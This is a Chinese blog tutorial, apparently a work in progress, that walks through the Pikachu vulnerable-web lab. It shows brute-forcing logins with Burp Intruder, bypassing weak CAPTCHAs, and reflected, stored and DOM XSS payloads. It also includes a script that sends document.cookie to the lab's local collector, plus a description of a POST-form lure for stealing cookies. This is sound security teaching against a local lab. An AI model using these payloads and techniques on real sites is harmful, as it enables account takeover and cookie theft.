Pikachu靶场超详细通关教程（持续更新中~）

Posted 2021-12-28 wyd2001

pikachu靶场通关详解

• 一、靶场介绍
• 二、靶场配置
• 三、靶场实战
• • 3.1 暴力破解漏洞
  • • 3.1.1暴力破解攻击&暴力破解漏洞概述
    • 3.1.2暴力破解漏洞测试流程
    • 3.1.3基于表单的暴力破解攻击(基于burp suite )
    • 3.1.4暴力破解之不安全的验证码分析---on client---on server
    • 3.1.5Token可以防暴力破解吗?
    • 3.1.6暴力破解常见的防范措施
  • 3.2 XSS（跨站脚本攻击漏洞）
  • • 3.2.1跨站脚本漏洞概述
    • 3.2.2跨站脚本漏洞类型及测试流程
    • 3.2.3反射型XSS ( get&post )演示
    • 3.2.4存储型XSS演示
    • 3.2.5Dom型XSS演示
    • 3.2.6XSS的危害-获取cookie的原理和演示
    • 3.2.7XSS危害-XSS进行钓鱼的原理和演示
    • 3.2.8XSS危害XSS获取键盘记录原理和演示
    • 3.2.9XSS盲打演示和原理分析
    • 3.2.10XSS的过滤和绕过( filter&htmlspecialchars )
    • 3.2.11XSS输出在href和js中的案例分析
    • 3.2.12XSS常见防范措施
  • 3.3CSRF（跨站请求伪造漏洞）
  • 3.4SQL-Inject（SQL注入漏洞）
  • 3.5RCE（代码执行/命令执行）
  • 3.6Files Inclusion(文件包含漏洞)
  • 3.7 Unsafe file downloads(不安全的文件下载)
  • 3.8 Unsafe file uploads(不安全的文件上传)
  • 3.9 Over Permisson(越权漏洞)
  • 3.10 ../../../(目录遍历)
  • 3.11 I can see your ABC(敏感信息泄露)
  • 3.12 PHP反序列化漏洞
  • 3.13 XXE（XML外部实体攻击）
  • 3.14 不安全的URL重定向
  • 3.15 SSRF（服务器端请求伪造）
  • • 3.15.1 读取本地/远程文件
• 参考资料

一、靶场介绍

靶场源码链接：
GitHub：https://github.com/zhuifengshaonianhanlu/pikachu
靶场漏洞介绍：

二、靶场配置

先安装phpstudey，在GitHub上下载源码，放在phpstudy的www（网站）目录下，完成配置与初始化。
靶场搭建链接（内含phpstudy与pikachu的配置）：
https://blog.csdn.net/weixin_42474304/article/details/117533788

三、靶场实战

3.1 暴力破解漏洞

3.1.1暴力破解攻击&暴力破解漏洞概述

对暴力破解的理解：暴力破解=连续性的尝试+字典+自动化。
其实就是去猜可能的密码，经过不断的试账号和密码，找出正确的账号密码，达到暴力破解的目的。
最重要的部分就是字典，一个好的字典可以大大加快破解速度。

• 常用的账号密码（弱口令），比较常用的账号密码，系统初始设定的账号密码，比如常用用户名/密码TOP 500等。
• 互联网上被脱裤后账号密码(社工库) ,差不多就是撞库，也就是拿已知的一个库去尝试登录另外一个库。比如CSDN当年泄漏的约600w用户信息。
• 使用指定的字符使用工具按照指定的规则进行排列组合算法生成的密码，特定的字符很多，像手机号、出生日期，姓名等等。

对于暴力破解漏洞的话，如果个网站没有对登录接 实施防暴力破解的措施，或者实施 了不合理的措施，称该网站存在暴力破解漏洞。
✓是否要求用户设置了复杂的密码;
✓是否每次认证都使用安全的验证码;
✓是否对尝试登录的行为进行判断和限制;
✓是否在必要的情况下采用了双因素认证;
…等等。
存在暴力破解漏洞的网站可能会遭受暴力破解攻击，但该暴力破解攻击成功的可能性并不是100% !
所以有些网站即虽然存在暴力破解漏洞，但其管理员可能会忽略它的危害。搞安全的话，不能有侥幸心理，否则随时会被干掉😭。

3.1.2暴力破解漏洞测试流程

1、确认是否存在暴力破解漏洞 ：
确认目标是否存在暴力破解的漏洞。( 确认被暴力破解的“可能性" ）
比如:尝试登录一抓包-- -观察验证元素和response信息,判断否存在被暴力破解的可能。
2、对字典进行配置
根据实际的情况对字典进行配置，提高爆破过程的效率。
技巧一:
根据注册提示信息进行优化
对目标站点进行注册，搞清楚账号密码的一些限制，比如目标站点要求密码必须是6位以上，字母数字组合，则可以按照此优化字典,比如去掉不符合要求的密码。
技巧二:
如果爆破的是管理后台，往往这种系统的管理员是admin/administrator/root的机率比较高，可以使用这三个账号+随便-个密码 ,尝试登录 ,观看返回的结果 ，确定用户名。
比如:
输入xxx/yyyf返回“用户名或密码错误"
输入admin/yy返回"密码错误”, 则基本可以确定用户名是admin ;
因此可以只对密码进行爆破即可，提高效率。

3、工具自动化操作
配置自动化工具(比如线程、超时时间、重试次数等) , 进行自动化操作。

3.1.3基于表单的暴力破解攻击(基于burp suite )

测试目标: Pikachu-暴力破解-基于表单的暴力破解
测试工具: burp suite free edition-intruder
burp官方下载通道
进行尝试性登录，提示用户名或密码不存在，登陆失败。

在burp看到是一个post请求，账号和密码分别是1231和1234。

在响应界面正常返回一个登陆失败的的界面。

选中此条post请求发送到Intruder中

将原始数据包中的变量清除，选中用户名和密码点击Add$将其设置为变量。

• Sniper模式逻辑：先将第一个变量也就是用户名替换，第二个变量不动。当第一个变量替换完之后，对第二个变量进行依次替换。直白一点就是说一个变，另外一个不变，第一个变完，变第二个。
• Battering ram模式逻辑：所有变量进行同时同样的替换。就是说你变我也变，你变什么我也变什么。
• Pitchfork模式逻辑：所有变量同时替换，但是各自变量替换各自的字典，同时进行，但是互不相干。替换时第一个变量的第一替换值对应第二个变量的第一个替换值，不进行排列组合，就是1对1，2对2。不会将密码进行随机的排列组合。
• Cluster bomb模式逻辑：与Pitchfork模式逻辑类似，不同点是Cluster bomb模式会进行随机的排列组合。

在这里我们使用Cluster bomb模式进行破解，在Payloads中配置第一个变量和第二个变量的字典，这里可以手动输入添加，也可以在系统中添加已经写好的字典。

添加字典后进行攻击，根据返回数据包的长度进行判断是否成功。为了方便观察也可以在grep-match中删除原有字符串，添加username or password is not exists，burp就会将所有含有此字符串的数据包flag出来。没有被flag出的数据包则是我们破解成功的数据包。点击username or password is not exists进行排序，没有勾选的则表明破解成功，有勾选的则表明破解失败。

用破解出的账户密码进行登录，login success。

3.1.4暴力破解之不安全的验证码分析—on client—on server

验证码的作用：
防止登录暴力破解
防止机器恶意注册
验证码大概的的认证流程：

• 客户端request登录页面,后台生成验证码:
  1.后台使用算法生成图片,并将图片response给客户端;
  2.同时将算法生成的值全局赋值存到SESSION中;
• 校验验证码:
  1.客户端将认证信息和验证码-同提交;
  2.后台对提交的验证码与SESSION里面的进行比较;
• 客户端重新刷新页面,再次生成新的验证码:
  验证码算法中一般包含随机函数,所以每次刷新都会改变;

不安全的验证码on client绕过演示

随机输入账号密码，输入相应验证码，利用burp抓包。

登录失败验证码发生变化。

查看源码，我们可以发现验证码是javascript随机生成，点击一次函数运行一次生成一个相应的验证码。
将数据包发送到repeater中，对验证码进行判定，判定后台是否对验证码进行校验。修改验证码点击go,多次尝试发现返回的信息都是username or password is not exists，但是没有提示验证码错误。
则可以判断虽然验证码被提交，但是后台并没有验证。这个验证码框是通过JavaScript实现的，对于不懂安全的人来说，可以起到一定的防范作用。但对于知道这个原理的人来说形同虚设。
接下来，就与基于表单的流程一样，发送数据包到Intruder中，选用Cluster bomb模式修改变量，因为验证码后台并不校验没有用，所以只用选择用户名与密码。
在payload中导入字典进行爆破。

进行长度排序，根据数据包长度不同，找到可能的密码。

输入用户名，密码和验证码，破解成功。

不安全的验证码- on client常见问题
●使用前端js实现验证码(纸老虎) ;
●将验证码在cookie中泄露,容易被获取;
●将验证码在前端源代码中泄露，容易被获取;
不安全的验证码- on server-演示
随机输入账号密码，输入相应验证码，利用burp抓包。

登录失败，验证码发生变化。

将数据包发送到repeater，进行判断。将验证码设置为空，点击运行，出现错误提示，验证码不能为空。
随机输入一个验证码，点击运行，出现错误提示，验证码不正确。
经过判断，我们发现后台对验证码有进行校验，那是不是这样就没问题了呢？显然不是这样，从表面上看没有问题，但是我们还需要对验证码是否在后台过期进行进一步验证。首先先点击验证码，获取一个新的验证码，并将其记下来。
然后返回数据包中，将正确的验证码输入。点击运行，提示用户名和密码不正确。为了验证验证码是否一致有效，我们修改用户名和密码，验证码不变，点击运行，结果一样。说明验证码可以重复利用。
将数据包发送到Intruder，设置变量用户名和密码，验证码则输入正确的验证码，不设置变量。输入字典进行破解。
进行长度排序，找出正确用户名与密码。
登陆成功。

不安全的验证码-on server常见问题
●验证码在后台不过期，导致可以长期被使用;
●验证码校验不严格,逻辑出现问题;
●验证码设计的太过简单和有规律,容易被猜解

3.1.5Token可以防暴力破解吗?

一个token示例

//生成一个token，以当前的时间＋一个5位的前缀
function set_token()
    if(isset($_SESSION['token']))
        unset($_SESSION['token']);
        
        $_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
  

一般的做法:
1.将token以"type=‘hidden’’”的形式输出在表单中;
2.在提交的认证的时候一起提交，并在后台对其进行校验;
但，由于其token值输出在了前端源码中,容易被获取,因此也就失去了防暴力破解的意义。一般Token在防止CSRF上会有比较好的功效，具体讲在CSRF漏洞章节进行讲解。

3.1.6暴力破解常见的防范措施

防暴力破解的措施总结
●设计安全的验证码(安全的流程+复杂而又可用的图形) ;
●对认证错误的提交进行计数并给出限制,比如连续5次密码错误,锁定2小时;
●必要的情况下，使用双因素认证;

3.2 XSS（跨站脚本攻击漏洞）

3.2.1跨站脚本漏洞概述

●XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。
●XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户。
●XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
XSS(窃取cookie)攻击流程

3.2.2跨站脚本漏洞类型及测试流程

跨站脚本漏洞常见类型

危害:存储型>反射型> DOM型

●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得，一般出现在查询类页面等。
●存储型
交互的数据会被存在在数据库里面，永久性存储，一般出现在留言板，注册等页面。
●DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。

xss漏洞形成的原因:
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造"的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

跨站脚本漏洞测试流程:
①在目标站点上找到输入点,比如查询接口,留言板等;
②输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码，是否有做对应的处理;
③通过搜索定位到唯一字符，结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合) ;
④提交构造的脚本代码(以及各种绕过姿势)，看是否可以成功执行，如果成功执行则说明存在XSS漏洞;

提示：
1.一般查询接口容易出现反射型XSS ,留言板容易出现存储型XSS ;
2.由于后台可能存在过滤措施，构造的script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器) ;
3.通过变化不同的script ,尝试绕过后台过滤机制;

3.2.3反射型XSS ( get&post )演示

在对应的输入点输入特殊字符如：;"’<>9999
目的就是看一看是否会被过滤，（因为我们含有特殊字符）有没有被输出，有没有被处理。点击提交。

查看页内源码，CTRL+F在页面内查找我们输入的字符。
输入的特殊字符被原封不动的输出，那么我们输入正确的JavaScript语句就有可能会被原封不动的返回。
语句输入到一半时，发现不能输入了，原因是对长度进行了限制。这是在前端的安全设置，意义不是很大。兵来将挡水来土掩，在设置中打开web开发者工具，查找输入框语句。
可以看到长度为20，我们将其修改为2000即可。

输入代码<script>alert('xss')</script>，我们可以看到在输入框中的语句被执行，出现了xss弹窗。

因为是反射性，一次性的，刷新页面之后弹窗消失。这个xss实际上是以get的方式提交的。

GET和POST典型区别:
GET是以url方式提交数据;
POST是以表单方式在请求体里面提交;

GET方式的XSS漏洞更加容易被利用, 一般利用的方式是将带有跨站脚本的URL伪装后发送给目标，而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击，如何利用?可以思考一下3.2.6揭晓。

3.2.4存储型XSS演示

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来，构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

在留言版上试着输入留言6666。

我们发现留言被后台存储，并没有消失。
按之前的思路，测这个留言板是否存在xss漏洞，在留言板输入特殊字符。
打开页面源码，CTRL+F去搜索我们输入字符的位置。
没有任何处理，直接被输出。我们输入一个payload，一个弹窗。
点击提交，我们发现语句被执行出现了弹窗。
我们进行页面切换，然后再次切换回来，发现弹窗依然存在，说明我们输入的语句已经被存储起来。
道理与反射性差不多，唯一区别就是永久和一次性。

3.2.5Dom型XSS演示

工欲善其事必先利其器，在了解Dom型xss，我们先了解什么是DOM。

通过JavaScript，可以重构整个html文档。可以添加、移除、改变或重排页面上的项目。
要改变页面的某个东西，JavaScript 就需要获得对HTML文档中所有元素进行访问的入口。这个入口，连同对HTML元索进行添加、移动、改变或移除的方法和属性，都是通过文档对象模型来获得的( DOM) 。
所以，你可以把DOM理解为一个一个访问HTML的标准编程接口。
可以自己看一个具体的栗子：w3school HTML DOM
打开DOM型xss，在输入框中输入一串字符。
显示结果是what do you see?，看起来应该是A标签，打开页面源码，CTRL+F搜索这串字符，看一下它具体是做了什么操作。
输入的字符串，被拼接到了a标签当中。
判断此处是否有xss漏洞，与之前思路一样。先确认输入点，输入就是input也就是输入框。输出的话DOM是纯前端操作，输出也是前端输出。

蓝框框选的就是我们的输入，我们把这条语句拿出来分析，利用输入构造一个闭合。

<a href='"+str+"'>what do you see?</a>

我们还是输入一个弹窗，在input输入#' onclick="alert(666)”>
构成a标签闭合，且嵌入一个弹窗。<a href='#' onclick="alert(666)">'>what do you see?</a>

属于低危漏洞，好像比较鸡肋，但是前端编写各种各样，还是需要注意的。
DOM型xss-x
xss-x就属于一个例外的例子。
在输入框输入字符，并点击进行提交。
同样我们要看它的具体操作是什么，打开页面源码进行查看。
它的输入实际上是从url上获取的，这就类似反射性。
我们还是对其进行闭合，与之前一样是a标签闭合。在input输入#' onclick="alert(666)”>

点击之后，产生一个666的弹窗。

3.2.6XSS的危害-获取cookie的原理和演示

get型xss利用
在管理工具中打开xss后台
数据库用户名与密码，要改正确，或者直接把自己的改成root，root。

登陆之后，点击cookie收集，显示一个结果，默认没有数据。

打开反射型xss(get)，首先先解决字符长度的问题，3.2.3有介绍不再赘述了，之前我们输入payload出现弹窗，我们这次输入一个比较复杂的payload，目的就是为了获取用户本地的cookie，发送到我们的xss后台。

<script>document.location = 'http://127.0.0.1/pikachu-master/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

这里的payload需要自己修改，由于都是本地，全部改成127.0.0.1即可，后面就是www后的路径。我自己phpstudy的www后的路径为pikachu-master/pikachu-master/pkxss/xcookie/cookie.php，注意一下需要修改这两个文件中的代码。

执行之后，跳回了首页。

打开xss后台，刷新，显示获取cookie。

postxss
输入账号密码登录，页面跳转，输入字符，不难发现并没有在url中提交参数。

打开burp查看抓包。
我们发现message是通过请求体返回，通过post方式传到后台。这样的话是不能把恶意代码嵌入url中。
POST型XSS获取cookie原理

我们需要自己搭一个恶意站点，然后在网站上放一个post表单，将存放POST表单的链接发送给受害者，诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求，实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。

3.2.7XSS危害-XSS进行钓鱼的原理和演示

3.2.8XSS危害XSS获取键盘记录原理和演示

3.2.9XSS盲打演示和原理分析

3.2.10XSS的过滤和绕过( filter&htmlspecialchars )

3.2.11XSS输出在href和js中的案例分析

3.2.12XSS常见防范措施

3.3CSRF（跨站请求伪造漏洞）

3.4SQL-Inject（SQL注入漏洞）

3.5RCE（代码执行/命令执行）

3.6Files Inclusion(文件包含漏洞)

3.7 Unsafe file downloads(不安全的文件下载)

3.8 Unsafe file uploads(不安全的文件上传)

3.9 Over Permisson(越权漏洞)

3.10 …/…/…/(目录遍历)

3.11 I can see your ABC(敏感信息泄露)

3.12 PHP反序列化漏洞

3.13 XXE（XML外部实体攻击）

3.14 不安全的URL重定向

3.15 SSRF（服务器端请求伪造）

3.15.1 读取本地/远程文件

参考资料

Web安全从入门到放弃：https://www.ichunqiu.com/course/63838
皮卡丘靶场：https://github.com/zhuifengshaonianhanlu/pikachu
w3school HTML DOM:https://www.w3school.com.cn/js/js_htmldom.asp